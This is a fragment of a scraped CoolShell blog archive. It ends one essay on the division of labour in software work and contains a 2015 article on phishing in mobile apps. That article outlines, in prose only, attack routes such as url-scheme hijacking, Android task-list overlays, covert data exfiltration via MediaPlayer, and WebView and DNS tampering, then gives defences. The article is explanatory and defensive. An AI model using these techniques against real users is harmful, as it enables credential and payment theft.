并不这么认为，他认为，在分工所得到的好处面前，这些副作用不算什么。并且，他认为在资本主义的制度下，完全是可以平衡分工的各种优点和各种缺点，从而可以达到提高生产力和提高人员素质的双赢解的。</p>\n<p>比如说，<strong>分工中的各种沟通问题是可以通过一个标准协议来解的</strong>，造灯泡的，造开关的，造灯座的完全不知道对方的存在，他们只所以可以让做出来的东西拼在一起，完全是通过了一种标准协议完成的。<strong>这也是为什么这个世界上有各种各样的标准化的组织</strong>。</p>\n<p>还有很多经济学家对分工都有自己的见解和想法。不过基本上就是上面这些Pros和Cons了。下图是一个PPT的两个slids，可以点击看大图（<a href=\"http://www.slideshare.net/kamran121/lecture-5-10123392\" target=\"_blank\">来源</a>）</p>\n<table>\n<tbody>\n<tr>\n<td><a href=\"https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-10-728.jpg\" target=\"_blank\"><img alt=\"lecture-5-10-728\" class=\"aligncenter wp-image-17299\" height=\"293\" src=\"../wp-content/uploads/2015/12/lecture-5-10-728.jpg\" width=\"391\"/></a></td>\n<td><a href=\"https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-11-728.jpg\" target=\"_blank\"><img alt=\"lecture-5-11-728\" class=\"aligncenter wp-image-17300\" height=\"279\" src=\"../wp-content/uploads/2015/12/lecture-5-11-728.jpg\" width=\"372\"/></a></td>\n</tr>\n</tbody>\n</table>\n<h4>全球化下的分工</h4>\n<p>分工带来问题在全球化的浪潮下变得尤为突出。其委婉地被讲成是比较优势（<a href=\"https://en.wikipedia.org/wiki/Comparative_advantage\" title=\"Comparative advantage\">Comparative Advantage</a>）</p>\n<p><b>比较优势（</b>又叫<b>相对优势</b>）是经济学的概念，解释了为何在拥有相对的机会成本的优势下生产，贸易对双方都有利。当一方（一个人，一间公司，或一国）进行一项生产时所付出的机会成本比另一方低，这一方面拥有了进行这项生产的比较优势。于是，一个国家倘若专门生产自己相对优势较大的产品，并通过国际贸易换取自己不具有相对优势的产品就能获得利益。</p>\n<p>于是乎，分工本来想要的是——合适的人干合适的事，<strong>但是在比较优势的情况下，商业社会把分工变成了</strong>——<strong>不是选择合适的人、公司或国家，而是选择成本低的人、公司或国家</strong>。</p>\n<p>经济合作与发展组织<a class=\"mw-redirect\" href=\"https://en.wikipedia.org/wiki/OECD\" title=\"OECD\">OECD</a>最近（2015年6月28日）对全球化这样建议的——</p>\n<blockquote><p>“有效率的政策的本质不是阻止失业而是鼓励就业，如果各个国家都在收获全球化的利益而不是开放贸易的话，那么一些地方就会失去工作机会，当然也伴随着在另一些地方出现新的工作机会，这是全球化进程不可避免的，而我们面对的挑战是怎么能流畅调整我们的流程，能为那些新出现的工作机会找到合适的技能匹配的工人”。</p></blockquote>\n<p>通过上面的说明，我想你可以知道，为什么中国成为了世界劳动力大国，而为什么当初美国科技公司进入中国的时候，首先把测试的工作放到了中国。这就是所谓的全球化分工。同时我们也可以看到，像我们中国这样技术能力的确非常不足的国家，的确是可以通过分工这种形式，让我们这些技能一般的技术人员参与一个复杂的有技术含量的项目当中。这其中就是分工的光明面和阴暗面。</p>\n<p>那么，我们想一想，<strong>随着中国的人力成本的越来越大，国际化的分工因为商业资本的因素，必然不会选择中国，只会选择人力成本更低的国家，比如印度、越南、甚至人力成本更低的国家</strong>。美国雅虎和Adobe不是离开中国了么？再看看中国因为人民币的汇率或是人力成本的上升，我们在早几年关了多少个Made in China的工厂，这就是全球化的分工，商业上来说，他不是找最合适的人，而是找成本最低的人。</p>\n<p>所以，<strong>你千万不要以为我一提倡全栈了，你QA的工作就保不住了，就算没有全栈，就算是你还在坚持的社会化的分工，也可能让你的QA的工作就保不住了，除非，你能提供更低的价格</strong>。（想想这其中的逻辑吧，人家美国人把一些技术工作（比如测试）外包到中国的原因不是因为中国人聪明，想得周全，适合干这个测试这个事，而是因为中国人廉价，所以，当中国不在廉价了，自然就会找更廉价的地方了）</p>\n<p>为什么国家要从Made in China转型？不就是因为中国早期拿到的国际化分工就是这些没有技术含量的支持性的分工么？也因此而造就了大量的技能很一般的工人。为了能在全球化分工中能拿到更有质量的工作，<strong>我们必然要从劳动密集型转向成知识密集型，必然要从支持性的工作转变为产出性的工作，必然需要单一技能型的技工转变为复合型的人才</strong>。</p>\n<h4>分工的温床和天敌</h4>\n<p><strong>分工的温床主要有两个</strong>，</p>\n<ul>\n<li><strong>一个是成本和效率</strong>，资本家或企业主或一个国家为了追求更快成本更底的生产方式，他们必然会进行大规模的分工，伴随着分工，他们也会把一些知识或技术密集型的工作生生地变成劳动密集型的工作。然后层层外包。</li>\n</ul>\n<ul>\n<li><strong>一个是组织的大小</strong>，当一个组织的人数不断的变大，那么，你只能把工作和任务分得更细。这是被人数逼的，而不是实际需要的。这就是为什么我们可以看到很多大公司里要么人浮于事，要么瞎忙。</li>\n</ul>\n<p><strong>分工的天敌主要有一个——那就是技术</strong>！</p>\n<p style=\"padding-left: 30px;\">每当新技术出现的时候，一些复杂的工序会被一台机器或是一种高超的技术所取代，不管是被技术自动化，还是被技术所简化<strong>，</strong>总之，以前本来需要数十人或是数百人才能干的事，突然之间只需要一个人就可以干完了。生产力得到了巨大的释放。所以，你这就是我们常听的——<strong>科技是第一生产力！</strong></p>\n<p>说到这里，让我们再来看看雅虎的那条新闻——</p>\n<blockquote><p>在软件开发流程中去掉QA团队会发生什么？更少的代码错误，更快的开发周期。这是雅虎工程师过去一年的实验结果。<strong>雅虎的Warp Drive计划将程序开发从批发布转移了持续交付模式</strong>，工程师的代码不经过QA团队的人工检查而是直接发布。<strong>开发模式的转变导致了处理问题理念的根本性改变，迫使工程师开发自动检查工具去识别原来由人工检查发现的错误</strong>。雅虎的技术团队现在全部是工程师，而不再有QA团队容身之处。雅虎的首席架构师 Amotz Maimon说，他们本来预计可能会发生严重问题，结果出乎意料，每个曾经对此抱有怀疑态度的人都说新做法很有效。</p></blockquote>\n<p>所以，<strong>当你面对一些难题的时候，比如线上的故障，或是一个复杂的软件生产活动，你是要加更多的流程更多的人呢，还是要用技术解决问题呢？一边是温床，一边是天敌，你想好了吗？</strong></p>\n<h4>什么样分工才是好的</h4>\n<p>分工是必然的，因为很简单，你不可能一个人干完所有的事情，所以必需要分工，<strong>分工不是问题，而问题则变成了——什么样的分工是理想的，是优雅的，是有效率的？</strong></p>\n<figure class=\"wp-caption alignright\" id=\"attachment_17302\" style=\"width: 212px;\"><img alt=\"华君武漫画《科学分工？》\" class=\"wp-image-17302\" height=\"312\" src=\"../wp-content/uploads/2015/12/hua_junwu_17.jpg\" width=\"212\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-17302\"><strong><a href=\"https://zh.wikipedia.org/zh/%E5%8D%8E%E5%90%9B%E6%AD%A6\" target=\"_blank\">华君武</a>漫画《科学分工？》</strong></figcaption></figure>\n<p>对于分工来说，一般来是一种组织和管理形为。就目前来说，现代的公司有两种分工模式，分别是<strong>Control</strong> 和 <strong>Commitment</strong> 这两种分工。</p>\n<ul>\n<li><strong>Control就是控制型的管理，它是一种是基于工作技能的分工，于是员工会被这种分工分配到一个比较窄的技能里去完成一个非常明确的工作</strong>。</li>\n</ul>\n<ul>\n<li><strong>而Commitment则是面向员工的责任心和所承担的目标来分工并完成工作的。相比起前者来说，这样的分工在完成工作时，需要的不仅仅是技能，还需要更多的责任感</strong>。</li>\n</ul>\n<p>这么说吧，</p>\n<ul>\n<li>对于基于工作技能的分工，你会看到，这样的公司会把技术人员按编程语言来分，比如：Java、PHP、C/C++，或是分成：Web端、iOS端、Android端、后端、算法、数据。或是分成：开发，测试，运维。</li>\n</ul>\n<ul>\n<li>对于基于Commitment的分工，你会看到他们这样分的，软件工程师（不分前后端，不分语言，不分运维，测试），因为这样的公司认为，他招的不是只有特定语言技能的Coder，而是而学多种语言多种技术能保证软件质量以及能对软件维护的软件工程师。这种公司的软件工程师是各种团队都可以去的，而他们的分工更多的是按软件的功能，软件的模块，或是软件的产品线来分工。</li>\n</ul>\n<p>基于技能的分工已是过去时，而基于 Commitment 的分工是更有效率的分工的未来。你可以参看McAlister-Kizzier, Donna. 的文献 “<a href=\"http://www.encyclopedia.com/topic/Division_of_labor.aspx#3\" target=\"_blank\">Division of Labor.</a>” 。</p>\n<h4>小结</h4>\n<p>我说了这么多，不知道你看懂了我想表达什么没有？我不强加我的价值观，只希望你自己问自己几个问题：</p>\n<p style=\"padding-left: 30px;\">1）作为工作的人，在分工中你会怎样选择？是成为一颗棋子，一颗螺丝钉，还是成为一个多面手？</p>\n<p style=\"padding-left: 30px;\">2）作为工作的人，当你选择工作或任务的时候，你是选择做支持性的工作，还是做产出性的工作？你是选择做劳动密集型重复工作，还是做知识密集型的创新性的工作？</p>\n<p style=\"padding-left: 30px;\">3）作为老板，你是想要什么样的员工？听话的只会加班和干重复工作的劳动力，还是有责任心的为企业和产品负责的员工？</p>\n<p style=\"padding-left: 30px;\">4）作为老板，你是想通过分工释放低端员工的生产力，还是通过科技或技术去创造更NB的生产力？</p>\n<p style=\"padding-left: 30px;\">5）作为老板，分工中的问题，你找到比较优的解了吗？比如，对于不同团队间的协议，你找到了吗？</p>\n<p>可能，在不同的情况下你会有不同的答案。但是对我来说呢，无论是什么情况，我都只会有一个答案。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17295.html\">让我们来谈谈分工</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2015-4-14 关于移动端的钓鱼式攻击.html",
    "content": "<html><body><p><img alt=\"phishing-1\" class=\"alignright size-full wp-image-17069\" height=\"300\" src=\"../wp-content/uploads/2015/04/phishing-1.jpg\" width=\"300\"/>今天，在微博上看了一篇《<a href=\"http://weibo.com/p/1001603830475402664763\" target=\"_blank\">微信和淘宝到底是谁封谁</a>》的文章，我觉得文章中逻辑错乱，所以，我发了一篇<a href=\"http://weibo.com/p/1001603831131286939079\" target=\"_blank\">关于这篇文章逻辑问题的长微博</a>。后面，我被原博主冷嘲热讽了一番，说是什么鸡汤啊，什么我与某某之流的人在一起混淆视听啊，等等。并且也有一些网友找我讨论一下相关的钓鱼式攻击的技术问题。所以，我想写下这篇纯技术文章，因为我对那些商业利益上的东西不关心，所以，只谈技术，这样最简单。</p>\n<p>首先说明一下，<strong>我个人不是一个安全专家，也不是一个移动开发专家，按道理来说，这篇文章不应该我来写，但是我就试一试，请原谅我的无知，也期待抛砖引玉了，希望安全的同学斧正</strong>。</p>\n<p>关于钓鱼式攻击，其实是通过一种社会工程学的方式来愚弄用户的攻击式，攻击者通常会模仿一个用户信任的网站来偷取用户的机密信息，比如用户密码或是信用卡。一般来说，攻击者会通过邮件和实时通信工具完成，给被攻击者发送一个高仿的网站，然后让用户看不出来与正统网站的差别，然后收集用户的机密数据。</p>\n<h4>移动端钓鱼攻击点分析</h4>\n<p>因为钓鱼式攻击并不新鲜，所以我这里只讲移动方面的。</p>\n<p>在移动端，这个事情会更容易干，因为移动端有如下特点：</p>\n<ul>\n<li>移动端的UI只能有一个应用占据整个屏幕，你只能看到一个应用，而且用户屏幕小，能显示的信息有限，比如浏览器里的网址是显示不全的。这会给钓鱼攻击有很多可乘之机。</li>\n</ul>\n<ul>\n<li>移动端的平台有其安全的设计。每个应用都是隔离开的，一个应用无法获取另一个应用的数据。而且应用的下载基本上来说都是来自合法的地方。比如iOS的设备通过App Store下载，每个程序都有自己的签名保证不会被篡改。而且移动端的的应用有各种权限配置，这样也能很大程度提高安全性。</li>\n</ul>\n<ul>\n<li>移动端的APP有些有些是收费的，所以自然会有盗版需求，虽然在平台上做了一些安全设计，但是并不完美。用户可以越狱，可以root。这给恶意软件有了可乘之机。</li>\n</ul>\n<p>下面我们来分析下移动端的用户操作，我们重点关注用户控制权的切换过程（因为这是攻击点）</p>\n<p><span id=\"more-17066\"></span></p>\n<p>在移动设备上，基本上来说，用户的控制切换有四种：</p>\n<ul>\n<li>从一个APP切到另一个APP，也就是我们所谓的唤出APP。</li>\n<li>从一个APP唤出一个Web，常见为一个嵌入式的WebView或是一个浏览器</li>\n<li>从一个Web唤出一个APP，这需要浏览器支持一些非标准的HTTP协议，比如skype://之类的。</li>\n<li>从一个Web到另一个Web，这和Web上的方式差不多。</li>\n</ul>\n<p>基本上来说，<strong>黑客的攻击从来都是找这样的转换环节来做文章的，并且需要一个用户非常熟悉的场景（这样用户才会放松警惕）</strong>。</p>\n<p>通过观察移动APP的特性，我们可以知道，当用户控制切换时，有下面的这些特性：</p>\n<ul>\n<li>到另一个APP时，需要用户登录（如果登录的session过期了）</li>\n<li>当支付的时候，需要用户输入支付信息（信用卡信息、支持密码）</li>\n</ul>\n<p>那么用户在移动APP上经常做的事是什么？</p>\n<ul>\n<li><strong>社交分享</strong>：分享到微博，分享到微信等等，分享的时候，可能需要你输入用户名和口令。</li>\n</ul>\n<ul>\n<li><strong>应用内购</strong>：一般来说APP会有两种，一种免费的，一种是收费的，大量的用户都是下载免费的，然后通过什么“开通更多关卡”、“去广告”、“买道具”之类的东西，让用户输入支付信息。Apple的支付的时候也会要用户输入Apple ID的密码。</li>\n</ul>\n<ul>\n<li><strong>点击链接</strong>：有时候，我们收到短信，或是二维码，或是一个微信微博，会让我们去点击一个网站链接，这个网站链接要么就是打开一个网页，要么就是启动应用，要么就是跳转到应用市场去下载应用（如果你没安装）。</li>\n</ul>\n<p>所以，一个好的钓鱼式攻击一定会从这些地方入手，然后高仿UI以及交互流程，这个交互流程和用户日常操作的完全一样，让用户无法察觉。任何方式的钓鱼攻击简单来说，会有两种：</p>\n<ul>\n<li><strong>一种是直接攻击：</strong>你下载了一个恶意的APP，或是打开了一个恶意的冒牌APP。</li>\n<li><strong>一种是中间人攻击：</strong>用户控制权转换时的两端都是正规应用，但是中间的过程不是正常的。</li>\n</ul>\n<h4>攻击方式</h4>\n<p>下面是一些常见的攻击方式：</p>\n<h5>从一个应用唤起另一个应用的方式</h5>\n<p><strong>直接攻击</strong></p>\n<p>当你点击一个社交分享按钮，或是一个支付按钮的时候。就会转到一个页面，这个页面需要你输入用户机密信息（密码或是支付信息），然后再唤起真正的APP。</p>\n<p>一个有恶意的APP可能会让你放松警惕，因为，这个你在安装这个APP的时候，你会发现这个APP根本不需要任何的权限（Android上的），甚至连网络访问的权限都不要，因为在Android下，App可以通过别的组件访问互联网，比如：恶意应用可能创建一个MediaPlayer Object，然后就可以通过这个对象访问一个URL然后把偷到的信息发送出去。</p>\n<p>你的手机要被安装一个恶意的应用并不难，同样通过社工的方式，比如：盗版，色情，伪装成客服等等通过人性的弱点让你去一些非受信的市场上安装。iOS设备上的应用也可以不用通过App Store安装（通过itms-services协议，可以通过safari浏览器直接在IOS设备上安装应用程序）。</p>\n<p>还有，人们都是贪小便宜的人，所以，会到某些地方买一些便宜的手机（比如淘宝），现在的高仿手机，翻新的二手手机对于一般人甚至安全专家来说完全没有识别能力。这些手机中有很大可能藏有恶意程序。你千万不要以为你格式化手机就OK了。今天（2015年4月14日）早上CCTV2台的“第一时间”就说了一个案例，你可以看看。另外，你可以看看相关的新闻。（另外，你把你的旧手机卖了也要小心，因为你的数据就在里面，旧手机已经成了一个灰色产业链）</p>\n<p>另外，Apple的App需要有一个review过程，这个过程对大众是神秘的，但我觉得应该会包括安全方面的review。不过，这个审核过程可能也有空子可以钻。比如：在review的时候，这个应用完全正常，但在用户使用的时候，会自己从网站下载一些自己的配置文件而改变行为（更为直接的就是访问外部网页时在审核时和在用户应用时可能完全不一样，Apple应该完全没有能力审核应用要访问的外部站点）</p>\n<p><strong>中间人攻击</strong></p>\n<p>我们知道，一个APP唤起另一个APP好多都是用url-scheme的，也就是某种协议，审核这样的协议非常简单，所以如果有恶意的东西在里面基本上很容易看到。但是，如果某些APP并没有注册自己的url-scheme，或是没有被安装，反而，另一个有恶意的APP注册了这个scheme，那么，就会导致恶意的APP被唤起来了（<span style=\"color: #ff0000;\"><strong>这就是我为什么在我的微博中说，如果用户没有安装淘宝的客户端，那么，让微信唤起淘宝的客户端时，有可能是另一个有恶意的APP。但是很多人不懂这个事。<span style=\"color: #000000;\">在iOS下，两个APP通讯正确的做法是“钥匙串机制”</span></strong></span>）。</p>\n<p>当然如果有两个应用被注册了同一个scheme，那么，iOS和Android会给出一个选择，让用户来选（注：iOS的系统有可能会直接跳某个 App 上去，不同版本的跳规则不明确，可以认为是随机跳转）。于是乎，恶意的APP就要努力的让自己比正规的APP看起来更像个正规的APP就可以了。</p>\n<p>在Android平台上，这个事可能更变态，只要恶意的应用有两个权限，一个是随手机操作系统在后台启动，一个是task list（然而这两个权限都是一般权限）。这样一来，当你进行两个APP切换时，恶意程序可以通过task list权限监控到，然后自己马上先于正规的app出现，等到收集完用户数据后简单的退出就好了。这个方式只需要你的程序能在10ms以内反应过来（最佳是5ms左右），人的肉眼根本看不出来。（在iOS设备下，除了jail break后的iPhone可以这么干，正常的都iPhone还没有找到这样的攻击方式）</p>\n<h5>在一个应用内内嵌Web的方式</h5>\n<p>这种方式更容易攻击了，现在很多很多应用都是内嵌的Web的形式，你完全不知道打开的网页的网站是什么，因为这些内嵌的WebView你连地址都看不见。而且无论是iOS或Android，其WebView都可以执行任何的Javascript代码，就算显示URL，URL也可能是被混乱过的，你也看不全，你也很容易上当。当然，那些使用带SSL证书的支持HTTPS的网站（尤其是EV证书）可以在地址栏上显示一个绿色的标记表示你访问的就是正确网址，但是并不是所有的浏览器都会这样，比如iPhone的Safari并没有这个提示，所以，你一定要用Chrome。</p>\n<p>更狠的是就算你打开的是一个正确的URL，你依然可能被中间人攻击。尤其是这个网站使用了明文的HTTP协议，而你又喜欢蹭那些免费的WiFi，于是很容易给把服务器返回给你的网页中做修改，比如，修改网页中login表单或是支付表单提交的网站（想想天朝的网络运营商给你访问的正常的网页弹广告这事吧）</p>\n<p>关于DNS劫持，有些人觉得这事可能遇不上，因为这是一个全网的问题，如果你有这样的想法你就错了。还是那样，你爱占便宜，蹭上那些没有密码的WiFi，你完不知道，你连上去的那个WiFi会设置什么样的DNS服务器，你输入了www.taobao.com，但你打开的网站根本就是不是淘定，而是一个钓鱼网站。你会知道你打开的是错的了么？基本不可能。所以，安全点的网站都是要用HTTPS，但是还是那句话，iPhone的Safari并不会提示你打开网站的SSL证书合不合法（事实上，在手机上的很多浏览器都不会这提示，只有Chrome会）。</p>\n<p>关于攻击的方式我不想讲太多，还有很多高级+猥琐的方式我也不是完全知道，知道了我也不说，不然，教人犯罪了。</p>\n<p>关于从Web端唤起APP是和，APP唤醒APP的攻击方式基本一样。我就不说了。</p>\n<h4>怎么防范钓鱼式攻击</h4>\n<p>首先，我们要知道，钓鱼式攻击是一件非常难搞的事。要搞定这个事，一般来说需要四个方面：<strong>立法层面</strong>、<strong>用户培训层面</strong>、<strong>宣传层面</strong>、与<strong>技术保全措施层面</strong>。</p>\n<p><strong>教育方面</strong></p>\n<p>打击网钓的策略之一，是试着培养人们识别网钓，并教导怎样处理这些问题。只需要稍稍修改人们浏览习惯的方式，很多问题都可以避免。随着人们越来越认识到网钓者所使用的社会工程学技俩，传统的网钓欺诈技术可能在未来过时。</p>\n<ul>\n<li>对别人发来的链接要小心，尤其是让你输入机密信息的链接要小心检查。</li>\n</ul>\n<ul>\n<li>到正规的地方买手机，不要贪图小便宜。旧手机在卖前要“物理删除”数据。</li>\n</ul>\n<ul>\n<li>不要对手机越狱，不要root。</li>\n</ul>\n<ul>\n<li>不要从非信任的地方下载软件。</li>\n</ul>\n<ul>\n<li>要小心免费的WiFi。</li>\n</ul>\n<ul>\n<li>输入机密数据的时候一定要小心检查。</li>\n</ul>\n<ul>\n<li>多依赖一些不同的安全体系，比如：网上支付不要只依赖支付宝，尽量使用信用卡（信用卡千万不要设密码），这样就算是被钓鱼了，你还有一个银行安全的缓冲地带——可以不承认交易。</li>\n</ul>\n<ul>\n<li>现在使用手机的频率越来越高，所以，我非常建议你使用更为安全的iPhone手机，一定要打开“查找我的iPhone”功能，然后设上开机密码。iPhone手机可以做到手机丢失了别人都无法使用，包括刷机都刷不了（iOS7以上版本）</li>\n</ul>\n<ul>\n<li>对于一些关键网站，开启两步验证，这样就算你的用户名和密码被钓走了，还有一个动态手机口令做为登录的关卡。</li>\n</ul>\n<p><strong>技术方面</strong></p>\n<ul>\n<li>利用SSL证书来保证从浏览器到网站的访问是现在采用比较多的方式，也是在理论上可行的方式。现代的浏览器都会在URL上放上一个锁的标志，对于EV证书，你会看到浏览器的URL是绿色的（很容易分辨）</li>\n</ul>\n<ul>\n<li>另外，像firefox浏览器有一个petname的插件，你可以为你常上的网站设置一些标签。这样，当你打开钓鱼网站的时候，你会发现这些标签没有显示出来，那就有问题了。</li>\n</ul>\n<ul>\n<li>关于SSL的CA认证机构，你需要管理好你浏览的那些根证书，有些根证书你需要删掉。</li>\n</ul>\n<ul>\n<li>还有一种打击网钓的流行作法是保持一份已知的网钓网站名单，并随时更新。比如<a href=\"https://www.phishtank.com/\" target=\"_blank\">PhishTank</a>，以及<a href=\"http://www.apac.cn\" target=\"_blank\">中国防钓鱼网站联盟</a>。</li>\n</ul>\n<ul>\n<li>增加式登录方式。这种方式被美国银行采用，就是说，你可以上传一个你自己知道的图片，而当你打开登录页面里时，输入了自己的用户名后，你会看到你设置的这个图片被显示出来。如果没有或是显示错了，表示你打开的是钓鱼网站。</li>\n</ul>\n<ul>\n<li>两步验证，通过用户自设密码+手机动态口令登录（好些网站都在使用Google Authenticator的方式，这有点像公司VPN的动态口令）。</li>\n</ul>\n<p>上述都是PC Web上的防范，然而我们的手机移动端做的并不够好，移动端的安全还是要加油。</p>\n<p><strong>安全风控方面</strong></p>\n<p><strong>什么叫安全风控，说白了就是拿钱出来赔偿给被骗的用户，大家相信我，这个事情在基本上所有的公司都会做的</strong>，也就是说，无论你怎么做安全也无法保证绝对的安全，你只能缓解或是降低用户被骗的数量或概率。所以，几乎所有的公司都会有一笔钱专门用来赔偿。</p>\n<p>在西方国家，用户体验很好，我说一个故事，我有一个妹妹在英国，有一天她到ATM上取钱，取完钱后忘了把卡取出，结果后面的人把她的卡里的钱取走了，于是她报了警，等警察做完笔录后，她给银行的客服打了个电话说明了情况，本想冻结银行卡的，但是银行方面二话不说就赔偿了她所有的损失。为什么英国的巴克莱银行这么痛快，是因为他们有风控基金，专门用来处理这样的事的。</p>\n<p>在中国，其实银行和一些大的公司都有这笔安全风控基金，但是，要你非常坚持不懈地申诉，他们才会赔给你，而且还不是全部。要全部的话，我估计你要做一个“刁民”，否则欺负你，没道理。</p>\n<h4>关于微信和淘宝</h4>\n<p>微信和淘宝到底是谁先屏蔽谁我并不关心，这里面的商业利益我也不关心，微信是不是支持卖东西我也不关心。我关心的是寒冬文章中所说的微信上有淘宝钓鱼的安全问题。</p>\n<p>从技术上来说，我觉得要微信和淘宝一起干这事，单方都不行，需要两边的安全专家一起讨论（如果需要，我可以帮你们约）。我这里给一个可能很不成熟的方案，算是抛砖引玉（我不考虑你们之间的商业竞争，我只从用户的角度出发，客户第一）：</p>\n<blockquote><p><strong>我觉得，从业务上来说，淘宝可以在微信上有一个官方的商城。而淘宝的商家，需要取得微信的认证后入住，才能分享相关的商品或店家链接，对此，商家入住，我觉得可通过微信的服务账号与淘宝的商家后台集成可以做到。</strong></p>\n<p><strong>然后，商家也好，买家也好，他们分享商品只能通过微信官方的商城或是商家的服务账号分享出去，而分享出去的商品信息可以是一个比较unique的形式（比如有一个不能伪造的官方认证的标签），而用户的支付可以通过内置的微信支付也可以通过内置的支付宝（通过唤起App并不是一个好的方式，还是应该你们在服务端进行相互的通信）。</strong></p>\n<p><strong>然后微信和淘宝双方通过宣传手段告诉全社会，微信里的商品什么才是正规的，才不是钓鱼的，并给教育用户更为安全地使用手机。</strong></p></blockquote>\n<p>P.S. 我虽然这么说，但从我个人来说，我非常理解微信为了让用户有很好的体验而不让微信成为一个四处都是营销商品的地方。所以，我从个人来说，希望微信不要成为一个商家的营销地。另外，我也知道阿里对移动端的看重，所以，上述的方案虽然对用户体验和安全都比较好，但是从目前商业利益的情况看来基本无法实现。不过我这里也只是抛砖引玉了。</p>\n<p>面对安全和用户这两个事，<strong>你们两个中国最大的互联网公司，应该带头做好榜样，你们都是不缺钱的公司，应该更多的承担起社会的责任，真正为用户做点什么，而不是整天想着流量入口，互相屏蔽，互相指责，想着自己能有多少用户，这TMD太LOW了，和你们的地位完全不符。所以，从站在用户的角度上来说，我希望微信和淘宝都能站在用户的角度上思考问题，一起合作来真正的为用户更好的服务。</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21708.html\"><img alt=\"网络数字身份认证术\" height=\"150\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li><li><a 